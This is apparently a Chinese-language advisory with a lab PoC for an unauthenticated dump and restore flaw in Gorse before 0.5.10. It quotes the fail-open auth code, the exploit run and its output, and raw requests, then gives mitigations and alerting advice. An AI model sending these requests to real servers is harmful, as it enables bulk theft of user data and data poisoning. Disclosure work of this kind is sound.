CVE-2026-56782 — Gorse <0.5.10 未认证的数据库导出/恢复 (admin_api_key fail-open)。实验室 + PoC,已验证端到端。
| CVE | CVE-2026-56782 |
| 受影响版本 | Gorse < 0.5.10 |
| 修复版本 | 0.5.10 |
| 缺陷类型 | CWE-305(主密钥认证绕过)/ CWE-306(缺少认证) |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 认证 | 无(默认 admin_api_key 为空) |
| 端点 | GET /api/dump, POST /api/restore(主 HTTP,默认端口 8088) |
| 状态 | 已确认 — 在 zhenghaoz/gorse-in-one:0.5.8 上端到端复现 |
master/rest.go 通过 checkAdmin() 保护转储/恢复处理函数:
func (m *Master) checkAdmin(request *http.Request) bool {
if m.Config.Master.AdminAPIKey == "" {
return true // <-- 故障开放:未配置密钥 => 任何人均为管理员
}
if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
return true
}
return false
}
func (m *Master) dump(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // 流式输出所有用户、物品和反馈记录
}
func (m *Master) restore(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // m.Restore(request.Body) — 覆盖数据集
}
随附的 config/config.toml 将 admin_api_key = ""。使用默认配置时,
checkAdmin() 对 每个 请求都返回 true——X-API-Key 头部从未被检查——
因此两个端点对世界可读、可写。
GET /api/dump 以流形式输出完整数据库:所有用户 ID 和标签、
所有物品,以及完整反馈图(谁与谁交互过)。
对于支撑真实产品的推荐系统,这相当于批量个人身份信息 / 行为数据。POST /api/restore 用攻击者提供的内容替换数据集,
从而实现静默数据投毒或破坏。# 1. 启动存在漏洞的服务器(官方镜像,默认配置 = 无认证)。
docker compose -f lab/docker-compose.yml up -d
# --playground 种子了一个包含真实用户/物品/反馈的数据集,可供窃取。
# 2. 运行 PoC(无需凭据)。
python3 exploit.py http://127.0.0.1:8088 -o dump.bin
观察到:
[*] GET http://127.0.0.1:8088/api/dump (无 X-API-Key 头部)
[*] HTTP 200 content-type: application/octet-stream
[+] 未认证数据外泄已确认
用户 : 2079
物品 : 22320
反馈 : 331901
载荷 : 262747105 protobuf 字节
示例用户 ID : 0-vortex, 0markill, 0q2, 0x4richard, 0x973
[*] POST http://127.0.0.1:8088/api/restore (无 X-API-Key 头部,仅 EOF 主体)
[+] HTTP 200 (非 401) - checkAdmin 被绕过:/api/restore 在未认证状态下可写。
使用伪造的 X-API-Key 头部依然返回 200——确认当 admin_api_key 未设置时,
密钥完全被忽略(故障开放路径),而非仅仅匹配失败。
GET /api/dump HTTP/1.1
Host: 127.0.0.1:8088
POST /api/restore HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/octet-stream
<转储流:int64 LE 标记(-1 用户,-2 物品,-3 反馈,0 EOF)+ 长度前缀的 protobuf>
admin_api_key(以及
dashboard 凭据),在主前端终止 TLS,并切勿将主 HTTP 端口(8088)
暴露给不可信网络。对主端口上任何缺少有效 X-API-Key 的 GET /api/dump 或 POST /api/restore
请求发出告警,并对 /api/dump 返回的大 application/octet-stream 响应发出告警。
详见 ANALYSIS.md,包含请求流程、转储流格式及补丁。